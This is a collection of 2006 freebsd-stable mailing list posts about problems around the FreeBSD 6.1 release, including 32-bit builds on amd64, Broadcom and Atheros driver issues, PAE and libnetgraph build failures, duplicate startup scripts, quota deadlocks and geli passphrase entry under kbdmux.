Re: cc can't build 32-bit executables on amd64
On 2006-05-01 16:04, Mikhail Teterin [EMAIL PROTECTED] wrote: Can I direct someone's attention to the annoying but easy to fix bug: http://www.freebsd.org/cgi/query-pr.cgi?pr=gnu/96570 There are still a few days left to make sure, FreeBSD-6.1 is shipped with amd64 being able to link 32-bit executables. Release Engineers insist, it must be fixed in current first... cc can build binaries just fine if you also use the -B option: % cc -m32 -B/usr/lib32 ... I know it does because I've used it on my laptop a while ago, running FreeBSD/amd64. It's dead now so I can verify this works in all cases, but it seemed to solve this for me a couple of months ago. ___ freebsd-stable@freebsd.org mailing list http://lists.freebsd.org/mailman/listinfo/freebsd-stable To unsubscribe, send any mail to [EMAIL PROTECTED]
Which RC?
Hi list, just updated my RELENG_6 as Tue May 2 08:25:55 CEST 2006 There are some things that are not clear about the version: - uname says FreeBSD 6.1-RC #0 - on the FreeBSD FTP site the RC directory is now RC2 (pub/FreeBSD/releases/i386/6.1-RC2) - on the FreeBSD web site the schedule for 6.1 says that actually 6.1-RC1 has been released How do I know which RC I'm currently running? Wouldn't it be the case to speed up the syncing of the information available on different parts of the FreeBSD Project space (see FTP vs. web site)? Thank you, regards -- Pietro Cerutti [EMAIL PROTECTED] ___ freebsd-stable@freebsd.org mailing list http://lists.freebsd.org/mailman/listinfo/freebsd-stable To unsubscribe, send any mail to [EMAIL PROTECTED]
Re: cc can't build 32-bit executables on amd64
I tend to get snippy towards the end of release cycles, and I apologize to those I've offended or have been needlessly rude to. But please hear me out on what I have to say here ... The release process is about balancing the need to get it done with the need to get it as good as possible. The time to identify and fix problems is during the BETA phase, so please help us to make that happen. And if we get to the RC phase and something is broken or unfinished, then please help us to get it resolved for the next release. Just speeking for myself, and maybe others think like me :-), I have been running 6.1-XXX on several servers and work stations all along, and haven't felt any panics or serious problems to report, so sorry :-) [there of cource problems, slowness of network come to mind] So please, keep the good work! danny ___ freebsd-stable@freebsd.org mailing list http://lists.freebsd.org/mailman/listinfo/freebsd-stable To unsubscribe, send any mail to [EMAIL PROTECTED]
Re: cc can't build 32-bit executables on amd64
On Tue, 2006-May-02 00:04:14 +0200, Roland Smith wrote: On Mon, May 01, 2006 at 05:39:02PM -0400, Mikhail Teterin wrote: ... create 32-bit executables. Thus created lame, for example (from the audio/lame port) works and happily converts mp3 files (using assembler-optimized routines available only for 32-bit i386). Lame compiles and runs just fine on amd64. But probably not as fast since it's using a generic 'C' core instead of a hand-tweaked assembler core. I read Mikhail's comment as meaning that it is possible to build non-trivial 32-bit executables on amd64, there's just work still needed to make this work as a general case. -- Peter Jeremy pgpyhrAPOMoIJ.pgp Description: PGP signature
Problems with AVM B1 PCMCIA (2nd try)
Hi folks, the current FreeBSD STABLE version still has massive problems detecting my AVM PCMCIA B1 active ISDN card. I am currently running 6.0-RELEASE-p5 and all that it tells me is that the card it found has no functions. I booted in verbose- mode and enabled multiple debugging mechanisms and ended up with the following messages in dmesg: cbb0: RF5C475 PCI-CardBus Bridge irq 23 at device 11.0 on pci2 pcib2: cbb0 requested memory range 0xeb00-0xed7f: good cbb0: Lazy allocation of 0x1000 bytes rid 0x10 type 3 at 0xeb001000 cbb0: Found memory at eb001000 cbb0: Secondary bus is 0 cbb0: Setting primary bus to 2 cbb0: Secondary bus set to 3 subbus 4 cardbus0: CardBus bus on cbb0 pccard0: 16-bit PCCard bus on cbb0 cbb0: [MPSAFE] cbb0: PCI Configuration space: 0x00: 0x04751180 0x0217 0x06070081 0x00022000 0x10: 0xeb001000 0x02dc 0x20040302 0xf000 0x20: 0x 0xf000 0x 0xfffc 0x30: 0x 0xfffc 0x 0x07000117 0x40: 0x 0x0001 0x 0x 0x50: 0x 0x 0x 0x 0x60: 0x 0x 0x 0x 0x70: 0x 0x 0x 0x 0x80: 0x0001 0x 0x04630463 0x 0x90: 0x 0x 0x 0x 0xa0: 0x 0x 0x 0x 0xb0: 0x 0x 0x 0x 0xc0: 0x 0x 0x 0x 0xd0: 0x 0x 0x 0xfe0a0001 0xe0: 0x24c04000 0x 0x 0x 0xf0: 0x 0x 0x 0x pci2: network at device 12.0 (no driver attached) ... Status is 0x3410 cbb0: card inserted: event=0x, state=3410 pccard0: chip_socket_enable cbb_pcic_socket_enable: cbb0: cbb_power: 5V pccard0: read_cis pcib2: pccard0 requested memory range 0xeb00-0xed7f: good cis mem map 0xe564e000 (resource: 0xeb01) pccard0: CIS tuple chain: CISTPL_END ff cis mem map e564e000 CISTPL_LINKTARGET expected, code ff observed pccard0: check_cis_quirks pccard0: Card has no functions! cbb0: PC Card card activation failed Somebody please help me as I'm completely out of ideas ... please CC me when replying, I am not subscribed to the freebsd-questions-mailinglist. -- .''`. Martin Loschwitz Debian GNU/Linux developer : :' : [EMAIL PROTECTED][EMAIL PROTECTED] `. `'` http://www.madkiss.org/people.debian.org/~madkiss/ `- Use Debian GNU/Linux 3.1! See http://www.debian.org/ pgpLUvZ4htWb8.pgp Description: PGP signature
(some?) startup scripts being run twice..?
I'm running a stock freebsd-stable as a workstation. I'm seeing something unusual: it looks like some startup scripts are being run twice when the machine boots. Originally I caught this because an old-fashioned /usr/local/etc/rc.d script was being called twice. However, on looking closer it seems that I'm getting ntpd launched twice as well. There may be others that bomb out - but has anyone got any suggestions as to what might be causing this? rc.conf is boring (just turns on a bunch of the usual suspects you'd see on a workstation); I can't see in /etc/rc why this might be occurring. -- jan grant, ISYS, University of Bristol. http://www.bris.ac.uk/ Tel +44 (0)117 3317661 http://ioctl.org/jan/ ...and then three milkmaids turned up (to the delight and delactation of the crowd). ___ freebsd-stable@freebsd.org mailing list http://lists.freebsd.org/mailman/listinfo/freebsd-stable To unsubscribe, send any mail to [EMAIL PROTECTED]
Re: Broadcom BCM5714 ethernet not recognized by 6.0-RELEASE
Am 28.02.2006 um 21:59 schrieb Vivek Khera: I have an IBM e326m Opteron system for evaluation. Everything seems to be working ok except the ethernet is not recognized. According to the system specs and product literature, it has two Broadcom BCM5714 controllers in it, which the 6.0-RELEASE kernel is not attaching. They identify via pciconf -l -v as follows: (had to hand-transcribe since I can't cut/paste) [EMAIL PROTECTED]:4:0: class=0x02 card=0x03291014 chip=0x166a14e4 rev=0x03 hdr=0x00 vendor=Broadcom Corp class=network subclass=ethernet Can anyone help with appropriate defines to get the bge(4) driver to detect this chipset? Just in case you haven't managed to solve this yet, have a look at this PR: http://www.freebsd.org/cgi/query-pr.cgi?pr=kern/96370 Stefan -- Stefan Bethke [EMAIL PROTECTED] Fon +49 170 346 0140 ___ freebsd-stable@freebsd.org mailing list http://lists.freebsd.org/mailman/listinfo/freebsd-stable To unsubscribe, send any mail to [EMAIL PROTECTED]
Re: 5.4-STABLE hangs every few days
Am 25.02.2006 um 02:47 schrieb Brad Waite: Been having problems with my Tyan Thunder i7500 (S2720) dual Xeon running -STABLE: it's hanging every couple of days. Have you had any luck getting to diagnose the issue? I've been plagued by instability with a S2721-533 (Thunder i7501 Pro), also on 5-stable, and didn't have much luck. I can freeze the system with heavy disk I/O, but I can't break to debugger at that point. Stefan -- Stefan Bethke [EMAIL PROTECTED] Fon +49 170 346 0140 ___ freebsd-stable@freebsd.org mailing list http://lists.freebsd.org/mailman/listinfo/freebsd-stable To unsubscribe, send any mail to [EMAIL PROTECTED]
Re: 5.4-STABLE hangs every few days
Hi! Been having problems with my Tyan Thunder i7500 (S2720) dual Xeon running -STABLE: it's hanging every couple of days. Have you had any luck getting to diagnose the issue? I've been plagued by instability with a S2721-533 (Thunder i7501 Pro), also on 5-stable, and didn't have much luck. I can freeze the system with heavy disk I/O, but I can't break to debugger at that point. I had this issue with a Supermicro P8SCT board. It really sucked, we replaced it approx. 10 days ago with a Intel SE7221BK1-E and are waiting for the tests to reproduce the problem. -- [EMAIL PROTECTED] +49 171 310137214 years to go ! ___ freebsd-stable@freebsd.org mailing list http://lists.freebsd.org/mailman/listinfo/freebsd-stable To unsubscribe, send any mail to [EMAIL PROTECTED]
6.1-RC bge RX CPU self-diagnostic failed
I'm running into a problem with some new dual Opteron servers we just received yesterday on 6.1-STABLE (-RC now I suppose) amd64 updated as of today. When booting, it sometimes fails to initialize the onboard Broadcom gigabit Ethernet: bge0: Broadcom BCM5704C Dual Gigabit Ethernet, ASIC rev. 0x2100 mem 0xfc9f-0xfc9f irq 26 at device 5.0 on pci2 bge0: firmware handshake timed out bge0: RX CPU self-diagnostics failed! bge0: chip initialization failed device_attach: bge0 attach returned 6 bge1: Broadcom BCM5704C Dual Gigabit Ethernet, ASIC rev. 0x2100 mem 0xfc9e-0xfc9e irq 27 at device 5.1 on pci2 bge1: firmware handshake timed out bge1: RX CPU self-diagnostics failed! bge1: chip initialization failed device_attach: bge1 attach returned 6 Rebooting until the card is initialized seems to allow me to use those interfaces. I have 2 other servers with identical BCM5704C chips running on dual Opterons on 6.1-STABLE amd64 and they seem to work fine on those. I have two of these new servers but have only seen this problem on one of them today. I'm trying to duplicate it on both boxes as we speak. Any ideas on what I can do? Thanks! -- Robert ___ freebsd-stable@freebsd.org mailing list http://lists.freebsd.org/mailman/listinfo/freebsd-stable To unsubscribe, send any mail to [EMAIL PROTECTED]
Re: 6.1-RC bge RX CPU self-diagnostic failed
Hi! I'm running into a problem with some new dual Opteron servers we just received yesterday on 6.1-STABLE (-RC now I suppose) amd64 updated as of today. When booting, it sometimes fails to initialize the onboard Broadcom gigabit Ethernet: Aha, similar to my problem (also broadcom, but 5.4p8 and some other board): http://www.freebsd.org/cgi/query-pr.cgi?pr=90086 -- [EMAIL PROTECTED] +49 171 310137214 years to go ! ___ freebsd-stable@freebsd.org mailing list http://lists.freebsd.org/mailman/listinfo/freebsd-stable To unsubscribe, send any mail to [EMAIL PROTECTED]
PAE doesn't compile on 6[.1] because of bce
[re@ CC'ed as they are probably interested in this for 6.1 release ] Hi, With today sources and KERNCONF=PAE on 6-STABLE : cc -c -O2 -pipe -fno-strict-aliasing -Wall -Wredundant-decls -Wnested-externs -Wstrict-prototypes -Wmissing-prototypes -Wpointer-arith -Winline -Wcast-qual -fformat-extensions -std=c99 -g -nostdinc -I- -I. -I/usr/src/sys -I/usr/src/sys/contrib/altq -I/usr/src/sys/contrib/ipfilter -I/usr/src/sys/contrib/pf -I/usr/src/sys/contrib/dev/ath -I/usr/src/sys/contrib/dev/ath/freebsd -I/usr/src/sys/contrib/ngatm -I/usr/src/sys/dev/twa -D_KERNEL -DHAVE_KERNEL_OPTION_HEADERS -include opt_global.h -fno-common -finline-limit=8000 --param inline-unit-growth=100 --param large-function-growth=1000 -mno-align-long-strings -mpreferred-stack-boundary=2 -mno-mmx -mno-3dnow -mno-sse -mno-sse2 -ffreestanding -Werror /usr/src/sys/dev/bce/if_bce.c /usr/src/sys/dev/bce/if_bce.c: In function `bce_attach': /usr/src/sys/dev/bce/if_bce.c:542: warning: large integer implicitly truncated to unsigned type /usr/src/sys/dev/bce/if_bce.c:544: warning: large integer implicitly truncated to unsigned type /usr/src/sys/dev/bce/if_bce.c: In function `bce_stats_update': /usr/src/sys/dev/bce/if_bce.c:5311: warning: left shift count = width of type /usr/src/sys/dev/bce/if_bce.c:5313: warning: left shift count = width of type /usr/src/sys/dev/bce/if_bce.c:5315: warning: left shift count = width of type /usr/src/sys/dev/bce/if_bce.c:5317: warning: left shift count = width of type *** Error code 1 Stop in /usr/obj/usr/src/sys/PAE. Same for 6.1 according to simon@ If I can be of any help please let me know, -- IOnut - Unregistered ;) FreeBSD user Intellectual Property is nowhere near as valuable as Intellect Ferengi Rule of Acquisition #3: Never pay more for an acquisition than you have to. -- ST:DS9, The Maquis, Part II ___ freebsd-stable@freebsd.org mailing list http://lists.freebsd.org/mailman/listinfo/freebsd-stable To unsubscribe, send any mail to [EMAIL PROTECTED]
libnetgraph doesn't build fine on RELENG_6
I've updated my src today using RELENG_6, when i'm running a buildworld, i got this problem on libnetgraph === lib/libnetgraph (depend,all,install) rm -f .depend CC='/usr/local/libexec/ccache/cc' mkdep -f .depend -a /usr/src/lib/libnetgraph/sock.c /usr/src/lib/libnetgraph/msg.c /usr/src/lib/libnetgraph/debug.c /usr/local/libexec/ccache/cc -O2 -fno-strict-aliasing -pipe -Wsystem-headers -Werror -Wall -Wno-format-y2k -W -Wno-unused-parameter -Wstrict-prototypes -Wmissing-prototypes -Wpointer-arith -Wno-uninitialized -c /usr/src/lib/libnetgraph/sock.c /usr/local/libexec/ccache/cc -O2 -fno-strict-aliasing -pipe -Wsystem-headers -Werror -Wall -Wno-format-y2k -W -Wno-unused-parameter -Wstrict-prototypes -Wmissing-prototypes -Wpointer-arith -Wno-uninitialized -c /usr/src/lib/libnetgraph/msg.c /usr/src/lib/libnetgraph/msg.c: In function `NgDeliverMsg': /usr/src/lib/libnetgraph/msg.c:236: error: `NGM_HASREPLY' undeclared (first use in this function) /usr/src/lib/libnetgraph/msg.c:236: error: (Each undeclared identifier is reported only once /usr/src/lib/libnetgraph/msg.c:236: error: for each function it appears in.) *** Error code 1 I ran a cd /usr/src/includes make depend all install and problem was fixed, is this the correct way? If yes, it's supposed to be documented on UPDATING, isn't it? Thanks -- Renato Botelho ___ freebsd-stable@freebsd.org mailing list http://lists.freebsd.org/mailman/listinfo/freebsd-stable To unsubscribe, send any mail to [EMAIL PROTECTED]
Re: libnetgraph doesn't build fine on RELENG_6
Maybe this should fix?
--- libnetgraph/Makefile.orig Tue May 2 11:05:22 2006
+++ libnetgraph/MakefileTue May 2 11:08:48 2006
@@ -7,6 +7,8 @@
SHLIB_MAJOR= 2
+CFLAGS+= -I${.CURDIR}/../../sys
+
SRCS= sock.c msg.c debug.c
INCS= netgraph.h
Regards
Renato Botelho wrote:
I've updated my src today using RELENG_6,
when i'm running a buildworld, i got this problem on libnetgraph
=== lib/libnetgraph (depend,all,install)
rm -f .depend
CC='/usr/local/libexec/ccache/cc' mkdep -f .depend -a
/usr/src/lib/libnetgraph/sock.c /usr/src/lib/libnetgraph/msg.c
/usr/src/lib/libnetgraph/debug.c
/usr/local/libexec/ccache/cc -O2 -fno-strict-aliasing -pipe
-Wsystem-headers -Werror -Wall -Wno-format-y2k -W
-Wno-unused-parameter -Wstrict-prototypes -Wmissing-prototypes
-Wpointer-arith -Wno-uninitialized -c /usr/src/lib/libnetgraph/sock.c
/usr/local/libexec/ccache/cc -O2 -fno-strict-aliasing -pipe
-Wsystem-headers -Werror -Wall -Wno-format-y2k -W
-Wno-unused-parameter -Wstrict-prototypes -Wmissing-prototypes
-Wpointer-arith -Wno-uninitialized -c /usr/src/lib/libnetgraph/msg.c
/usr/src/lib/libnetgraph/msg.c: In function `NgDeliverMsg':
/usr/src/lib/libnetgraph/msg.c:236: error: `NGM_HASREPLY' undeclared
(first use in this function)
/usr/src/lib/libnetgraph/msg.c:236: error: (Each undeclared identifier
is reported only once
/usr/src/lib/libnetgraph/msg.c:236: error: for each function it appears
in.)
*** Error code 1
I ran a
cd /usr/src/includes make depend all install
and problem was fixed, is this the correct way? If yes, it's supposed
to be documented on UPDATING, isn't it?
Thanks
--
Renato Botelho
___
freebsd-stable@freebsd.org mailing list
http://lists.freebsd.org/mailman/listinfo/freebsd-stable
To unsubscribe, send any mail to [EMAIL PROTECTED]
--
Marcus Alves Grando
marcus(at)corp.grupos.com.br | Grupos Internet S/A
mnag(at)FreeBSD.org | FreeBSD.org
___
freebsd-stable@freebsd.org mailing list
http://lists.freebsd.org/mailman/listinfo/freebsd-stable
To unsubscribe, send any mail to [EMAIL PROTECTED]
Re: ath0: ath_chan_set: unable to reset channel 5 (2432 Mhz, flags 0x3e0 hal flags 0x140)
On Saturday 29 April 2006 20:00, Sam Leffler wrote: JoaoBR wrote: the 5,3 and 5.8Ghz range is gone this card should show the 2.4b/g range as usual, the 4.9, the 5.3 and the 5.8 range regdomain 18 gives you b/g channels 1-11 and public safety channels in the range 4942-4985. What you are seeing is that ifconfig does not know how to handle mapping the public safety channels to ieee channel numbers. very strange indeed, look what DLink say about this card supposed to have: ftp://ftp10.dlink.com/pdfs/products/DWL-AG530/DWL-AG530_ds.pdf http://www.dlink.com/products/resource.asp?pid=306rid=1027sec=0 I believe this regarding redomain codes is also correct 0x10 FCC 0x20 DOC 0x30 ETSI 0x31 Spain 0x32 France 0x40 Japan 0xff debug I believe the 4.9Ghz range is a US only limited range at this time and if regdomain 18 defines this I do not know how I get this cards configured with it, but that certainly is another question if I am not so wrong Dlink pretends with 0x12 to say that the 11a range is only 5.25Ghz up but NOT any lower as 5.25Ghz 11a range so this is certainly exactly the contrary to what you say regdomain 18 *is* 4.9 but of course I may be wrong and I did not found at this moment the table with regdomain codes and channels in my hurry It turns out that handling this correctly is more involved than I remembered. Not only are the public safety channels special in their freq-ieee# mapping but they also require 1/4- and 1/2-speed tx rates. The linux code handles this but it's done with some awkward code that I'd prefer to cleanup before integrating into freebsd. Regardless I suspect most people aren't going to use these channels since they require a special license (search for public safety channels and ok but this may apply to any other channel/frequency as well, what may be free of license in one country does not mean it is or not in another you'll find the relevant documentation). To be honest I have no idea why vendors are shipping cards with these channels enabled. to sell them I guess ;) I can hack the ath driver to just ignore the public safety channels and may do that. Otherwise it seems like the best thing is to change the regdomain in the eeprom (those who don't know how can find it with a search engine). probably both are the best choice I guess João A mensagem foi scaneada pelo sistema de e-mail e pode ser considerada segura. Service fornecido pelo Datacenter Matik https://datacenter.matik.com.br ___ freebsd-stable@freebsd.org mailing list http://lists.freebsd.org/mailman/listinfo/freebsd-stable To unsubscribe, send any mail to [EMAIL PROTECTED]
Re: cc can't build 32-bit executables on amd64
On Tuesday 02 May 2006 02:22, Giorgos Keramidas wrote: = cc can build binaries just fine if you also use the -B option: = = % cc -m32 -B/usr/lib32 ... Yes, this is a work-around. It is not a solution... /usr/lib32 should be there automatically. = I know it does because I've used it on my laptop a while ago [...] Unfortunately, according to the compiler-maintainer, there are some cases, when the different include files should also be used in the -m32 case, and that appears harder to fix. Until that is fixed, David is unwilling to pick this very low-hanging fruit either. Evidently, he does not subscribe to the 80/20 principle :-( -mi ___ freebsd-stable@freebsd.org mailing list http://lists.freebsd.org/mailman/listinfo/freebsd-stable To unsubscribe, send any mail to [EMAIL PROTECTED]
Re: PAE doesn't compile on 6[.1] because of bce
Ion-Mihai Tetcu wrote: [re@ CC'ed as they are probably interested in this for 6.1 release ] Hi, With today sources and KERNCONF=PAE on 6-STABLE : cc -c -O2 -pipe -fno-strict-aliasing -Wall -Wredundant-decls -Wnested-externs -Wstrict-prototypes -Wmissing-prototypes -Wpointer-arith -Winline -Wcast-qual -fformat-extensions -std=c99 -g -nostdinc -I- -I. -I/usr/src/sys -I/usr/src/sys/contrib/altq -I/usr/src/sys/contrib/ipfilter -I/usr/src/sys/contrib/pf -I/usr/src/sys/contrib/dev/ath -I/usr/src/sys/contrib/dev/ath/freebsd -I/usr/src/sys/contrib/ngatm -I/usr/src/sys/dev/twa -D_KERNEL -DHAVE_KERNEL_OPTION_HEADERS -include opt_global.h -fno-common -finline-limit=8000 --param inline-unit-growth=100 --param large-function-growth=1000 -mno-align-long-strings -mpreferred-stack-boundary=2 -mno-mmx -mno-3dnow -mno-sse -mno-sse2 -ffreestanding -Werror /usr/src/sys/dev/bce/if_bce.c /usr/src/sys/dev/bce/if_bce.c: In function `bce_attach': /usr/src/sys/dev/bce/if_bce.c:542: warning: large integer implicitly truncated to unsigned type /usr/src/sys/dev/bce/if_bce.c:544: warning: large integer implicitly truncated to unsigned type /usr/src/sys/dev/bce/if_bce.c: In function `bce_stats_update': /usr/src/sys/dev/bce/if_bce.c:5311: warning: left shift count = width of type /usr/src/sys/dev/bce/if_bce.c:5313: warning: left shift count = width of type /usr/src/sys/dev/bce/if_bce.c:5315: warning: left shift count = width of type /usr/src/sys/dev/bce/if_bce.c:5317: warning: left shift count = width of type *** Error code 1 Stop in /usr/obj/usr/src/sys/PAE. Same for 6.1 according to simon@ If I can be of any help please let me know, This will be fixed, thanks for reminding me. Scott ___ freebsd-stable@freebsd.org mailing list http://lists.freebsd.org/mailman/listinfo/freebsd-stable To unsubscribe, send any mail to [EMAIL PROTECTED]
Re: cc can't build 32-bit executables on amd64
On Tuesday 02 May 2006 05:59, Peter Jeremy wrote: = But probably not as fast since it's using a generic 'C' core instead = of a hand-tweaked assembler core. I read Mikhail's comment as meaning = that it is possible to build non-trivial 32-bit executables on amd64, = there's just work still needed to make this work as a general case. Thanks, Peter. You are correct, that was my meaning. Interestingly, the assembler-optimized 32-bit routines made lame slower than the native 64-bit code in my experiments (one may wish to compare assembler vs. C lame on i386 too). But it all *worked*, which was the point... -mi ___ freebsd-stable@freebsd.org mailing list http://lists.freebsd.org/mailman/listinfo/freebsd-stable To unsubscribe, send any mail to [EMAIL PROTECTED]
Re: cc can't build 32-bit executables on amd64
workaround i use: 32-bit jail on amd64 system ... not so bad ... 2006/5/2, Mikhail Teterin [EMAIL PROTECTED]: On Tuesday 02 May 2006 05:59, Peter Jeremy wrote: = But probably not as fast since it's using a generic 'C' core instead = of a hand-tweaked assembler core. I read Mikhail's comment as meaning = that it is possible to build non-trivial 32-bit executables on amd64, = there's just work still needed to make this work as a general case. Thanks, Peter. You are correct, that was my meaning. Interestingly, the assembler-optimized 32-bit routines made lame slower than the native 64-bit code in my experiments (one may wish to compare assembler vs. C lame on i386 too). But it all *worked*, which was the point... -mi ___ freebsd-stable@freebsd.org mailing list http://lists.freebsd.org/mailman/listinfo/freebsd-stable To unsubscribe, send any mail to [EMAIL PROTECTED] ___ freebsd-stable@freebsd.org mailing list http://lists.freebsd.org/mailman/listinfo/freebsd-stable To unsubscribe, send any mail to [EMAIL PROTECTED]
Solved (pilot error) Re: (some?) startup scripts being run twice..?
On Tue, 2 May 2006, Jan Grant wrote: I'm running a stock freebsd-stable as a workstation. I'm seeing something unusual: it looks like some startup scripts are being run twice when the machine boots. Originally I caught this because an old-fashioned /usr/local/etc/rc.d script was being called twice. However, on looking closer it seems that I'm getting ntpd launched twice as well. There may be others that bomb out - but has anyone got any suggestions as to what might be causing this? rc.conf is boring (just turns on a bunch of the usual suspects you'd see on a workstation); I can't see in /etc/rc why this might be occurring. Tracked this down: fwiw, from /etc/rc.conf - local_startup=/etc/rc.d /usr/local/etc/rc.d /usr/X11R6/etc/rc.d The /usr/local/etc/rc.d old-fashioned startup script was being called twice due to the double invocation of /etc/rc.d/localpkg. Cheers, jan -- jan grant, ISYS, University of Bristol. http://www.bris.ac.uk/ Tel +44 (0)117 3317661 http://ioctl.org/jan/ Roger Penrose can never be convinced that this sentence is true. (If he doesn't get the joke, you can at least prove that he owes you money.) ___ freebsd-stable@freebsd.org mailing list http://lists.freebsd.org/mailman/listinfo/freebsd-stable To unsubscribe, send any mail to [EMAIL PROTECTED]
Re: (some?) startup scripts being run twice..?
On Tue, 2 May 2006, Alexey Karagodov wrote: where ntpd script located? in /etc/rc.d or /usr/local/etc/rc.d or both? I've already checked this: it's solely in /etc/rc.d. There's other evidence of dual initialisation, too: [[[ Apr 27 08:51:01 xxx sshd[1296]: error: Bind to port 22 on 0.0.0.0 failed: Address already in use. Apr 27 08:51:01 xxx sshd[1296]: fatal: Cannot bind any address. ]]] The instance of sshd that is running was successfully started a few seconds before this. Again, this is coming out of /etc/rc. 2006/5/2, Jan Grant [EMAIL PROTECTED]: I'm running a stock freebsd-stable as a workstation. I'm seeing something unusual: it looks like some startup scripts are being run twice when the machine boots. Originally I caught this because an old-fashioned /usr/local/etc/rc.d script was being called twice. However, on looking closer it seems that I'm getting ntpd launched twice as well. There may be others that bomb out - but has anyone got any suggestions as to what might be causing this? rc.conf is boring (just turns on a bunch of the usual suspects you'd see on a workstation); I can't see in /etc/rc why this might be occurring. -- jan grant, ISYS, University of Bristol. http://www.bris.ac.uk/ Tel +44 (0)117 3317661 http://ioctl.org/jan/ ...and then three milkmaids turned up (to the delight and delactation of the crowd). ___ freebsd-stable@freebsd.org mailing list http://lists.freebsd.org/mailman/listinfo/freebsd-stable To unsubscribe, send any mail to [EMAIL PROTECTED] -- jan grant, ISYS, University of Bristol. http://www.bris.ac.uk/ Tel +44 (0)117 3317661 http://ioctl.org/jan/ Solution: (n) a watered-down version of something neat. ___ freebsd-stable@freebsd.org mailing list http://lists.freebsd.org/mailman/listinfo/freebsd-stable To unsubscribe, send any mail to [EMAIL PROTECTED]
Re: cc can't build 32-bit executables on amd64
On Mon, May 01, 2006 at 11:04:32PM -0600, Scott Long wrote: While it's always unfortunate and undesirable to have bugs in releases or have missing features, it's even more undesirable to hold releases indefinitely until all the problems are solved. Even the most cursory review of GNATS will reveal that there are bugs in every release. Even if we were a professional, rather than almost-all- volunteer, organization, this would _still_ be true. This is true of all software, not just FreeBSD. (I will not mention the name of any Major Operating System/Applications Vendors here). The tradeoff is _always_ which bugs affect the most people. If we waited for all the problems to be solved, we would have releases very rarely. This was tried in the 5.X cycle and really didn't work very well :-) So it's a question of where you make the tradeoffs. From at least one perspective (ports, could you have guessed? :-) ), the release has already been fairly drawn-out as it is. I'll echo what Scott said about preparing for these things early, so that everyone can try to prioritize which bugs most need to be addressed. mcl ___ freebsd-stable@freebsd.org mailing list http://lists.freebsd.org/mailman/listinfo/freebsd-stable To unsubscribe, send any mail to [EMAIL PROTECTED]
Re: RELENG_4 - 5 - 6: significant performance regression
On Thu, 27 Apr 2006, Dmitry Pryanishnikov wrote: options INVARIANTS options INVARIANT_SUPPORT In FreeBSD 5.x and FreeBSD 6.x, the INVARIANTS option has been significantly expanded to test a much larger set of invariants, and also incorporate kernel use-after-free checking, which involves memory scrubbing. This is great for catching bugs, but it will have a significant performance impact, especially for kernel-intensive loads. Robert N M Watson ___ freebsd-stable@freebsd.org mailing list http://lists.freebsd.org/mailman/listinfo/freebsd-stable To unsubscribe, send any mail to [EMAIL PROTECTED]
quota deadlock on 6.1-RC1
Hi, list I install FreeBSD 6.1-RC1 (from 11 Apr). I use gstripe for /home volume. Also, I use quota on this volume. After 6-8 hours without activities I can't read any data from filesystem -- ls, pwd and any other commands hanging. But, when I run cat /dev/stripe/st0 /dev/null I can see disk activiti in systat -vm I think it's same problem as in thread fsck_ufs locked in snaplk. Is this problem fixed in fresh 6.1-PRE? By. Dmitriy ___ freebsd-stable@freebsd.org mailing list http://lists.freebsd.org/mailman/listinfo/freebsd-stable To unsubscribe, send any mail to [EMAIL PROTECTED]
Re: quota deadlock on 6.1-RC1
On Tue, May 02, 2006 at 09:18:53PM +0400, Dmitriy Kirhlarov wrote: Hi, list I install FreeBSD 6.1-RC1 (from 11 Apr). I use gstripe for /home volume. Also, I use quota on this volume. After 6-8 hours without activities I can't read any data from filesystem -- ls, pwd and any other commands hanging. But, when I run cat /dev/stripe/st0 /dev/null I can see disk activiti in systat -vm I think it's same problem as in thread fsck_ufs locked in snaplk. Is this problem fixed in fresh 6.1-PRE? I think we've reproduced the problem, but it probably won't be fixed before the release. Sorry, the bug reports came too late in the release cycle. Kris pgpJoM4vzJX3w.pgp Description: PGP signature
geom_eli and kbdmux, enemies?
Hi, Just upgraded 6.1-RC2 on my laptop. Having kbdmux now enabled by default, I was completely unable to boot due to having a geom eli encrypted filesystem. My encrypted filesystem was initialized with the geli -b option, to have the kernel ask for passphrase upon boot. I have tried using geom_eli as a kernel module and having it included in the kernel. If combined with kbdmux, geom_eli fails to read the passphrase from the keyboard. Nothing happens. I have to turn off the laptop, and use a live CD to rescue the system. By using geli_devices in rc.conf, and having the geli rc script attach my encrypted filesystem, I can type the passphrase just fine. But then it's a userland program asking for it. I can live with that, but I take it this is a bug that should be fixed? Should be fixed before 6.1 is out the door? Cheers, -- Anders. ___ freebsd-stable@freebsd.org mailing list http://lists.freebsd.org/mailman/listinfo/freebsd-stable To unsubscribe, send any mail to [EMAIL PROTECTED]
Re: quota deadlock on 6.1-RC1
Hi! On Tue, May 02, 2006 at 01:22:26PM -0400, Kris Kennaway wrote: I think it's same problem as in thread fsck_ufs locked in snaplk. Is this problem fixed in fresh 6.1-PRE? I think we've reproduced the problem, but it probably won't be fixed before the release. Sorry, the bug reports came too late in the release cycle. Imho, it's bad idea -- create release with so important bug. It's not coda, unionfs or something else. It's very useful. I think, postpone release for fix this issue -- more fine. By. Dmitriy ___ freebsd-stable@freebsd.org mailing list http://lists.freebsd.org/mailman/listinfo/freebsd-stable To unsubscribe, send any mail to [EMAIL PROTECTED]
Re: geom_eli and kbdmux, enemies?
Anders, Just upgraded 6.1-RC2 on my laptop. Having kbdmux now enabled by default, I was completely unable to boot due to having a geom eli encrypted filesystem. My encrypted filesystem was initialized with the geli -b option, to have the kernel ask for passphrase upon boot. I have tried using geom_eli as a kernel module and having it included in the kernel. If combined with kbdmux, geom_eli fails to read the passphrase from the keyboard. Nothing happens. I have to turn off the laptop, and use a live CD to rescue the system. By using geli_devices in rc.conf, and having the geli rc script attach my encrypted filesystem, I can type the passphrase just fine. But then it's a userland program asking for it. I can live with that, but I take it this is a bug that should be fixed? Should be fixed before 6.1 is out the door? known problem. as workaround you may use usb (ukbd(4)) keyboard. so far i have traced this back to atkbd(4) driver now working very well in polled mode. basically, when system boots (or drops into ddb(4)) interrupts are disabled and atkbd(4) should operate in polled mode. kbdmux(4) + ukbd(4) seems to work just fine, kbdmux(4) + atkbd(4) is not. it may or may not be kbdmux(4) problem, but on thing for sure - kbdmux(4) makes this problem appear. i'm working on the fix, but i cannot give you eta yet. thanks, max ___ freebsd-stable@freebsd.org mailing list http://lists.freebsd.org/mailman/listinfo/freebsd-stable To unsubscribe, send any mail to [EMAIL PROTECTED]
Re: quota deadlock on 6.1-RC1
